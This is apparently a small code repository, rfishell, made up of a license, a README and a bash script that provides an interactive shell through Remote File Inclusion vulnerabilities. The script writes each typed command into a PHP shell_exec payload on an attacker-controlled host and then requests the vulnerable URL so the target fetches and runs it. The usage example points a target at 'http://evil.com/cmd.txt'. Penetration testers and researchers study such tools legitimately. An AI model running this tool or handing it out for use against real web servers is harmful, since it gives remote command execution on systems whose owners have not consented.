├── LICENSE.md
├── README.md
└── rfishell.sh


/LICENSE.md:
--------------------------------------------------------------------------------
 1 | The MIT License (MIT)
 2 | 
 3 | Copyright (c) 2012-2016 Harold Rodriguez
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | rfishell
2 | ========
3 | 
4 | Provide a shell-like interface when exploiting Remote File Inclusion vulnerabilities. For more details, see [http://blog.techorganic.com/2012/06/26/lets-kick-shell-ish-part-2-remote-file-inclusion-shell/](http://blog.techorganic.com/2012/06/26/lets-kick-shell-ish-part-2-remote-file-inclusion-shell/)
5 | 


--------------------------------------------------------------------------------
/rfishell.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | function rfi_template {
 4 | 	echo "<?php print shell_exec(\"${1}\");?>" > ${2}
 5 | }
 6 | 
 7 | function usage {
 8 | 	echo "usage: $0 -f cmd.txt -u URL [-c \"curl-options\"]"
 9 | 	echo "eg   : $0 -f /var/www/hack.txt  -u \"https://vulnsite.com/test.php?page=http://evil.com/cmd.txt\" -c \"--insecure\""
10 | }
11 | 
12 | if [[ -z $1 ]]; then 
13 | 	usage
14 | 	exit 0;
15 | fi
16 | 
17 | prefix=""
18 | suffix=""
19 | url=""
20 | cmdfile=""
21 | rfifile=""
22 | 
23 | while getopts ":c:u:f:" OPT; do
24 | 	case $OPT in
25 | 		u) url=$OPTARG;;
26 | 		f) rfifile=$OPTARG;;
27 |                 c) curlopts=$OPTARG;;
28 | 		*) usage; exit 0;;
29 | 	esac
30 | done
31 | 
32 | if [[ -z $url ]]; then
33 | 	usage
34 | 	exit 0;
35 | fi
36 | 
37 | which curl &>/dev/null
38 | if [[ $? -ne 0 ]]; then
39 | 	echo "[!] curl needs to be installed to run this script"
40 | 	exit 1
41 | fi
42 | 
43 | if [[ ! -z $rfifile ]]; then 
44 | 	# use RFI to execute commands
45 | 	while :; do 
46 | 		printf "[rfi>] "
47 | 		read cmd
48 | 		rfi_template "${cmd}" ${rfifile}
49 | 		echo "[+] requesting ${url}${prefix}${suffix}"
50 | 		echo "curl ${curlopts} ${url}${prefix}${suffix}"
51 | 		curl ${curlopts} "${url}${prefix}${suffix}"
52 | 		echo ""
53 | 	done
54 | fi
55 | 
56 | 


--------------------------------------------------------------------------------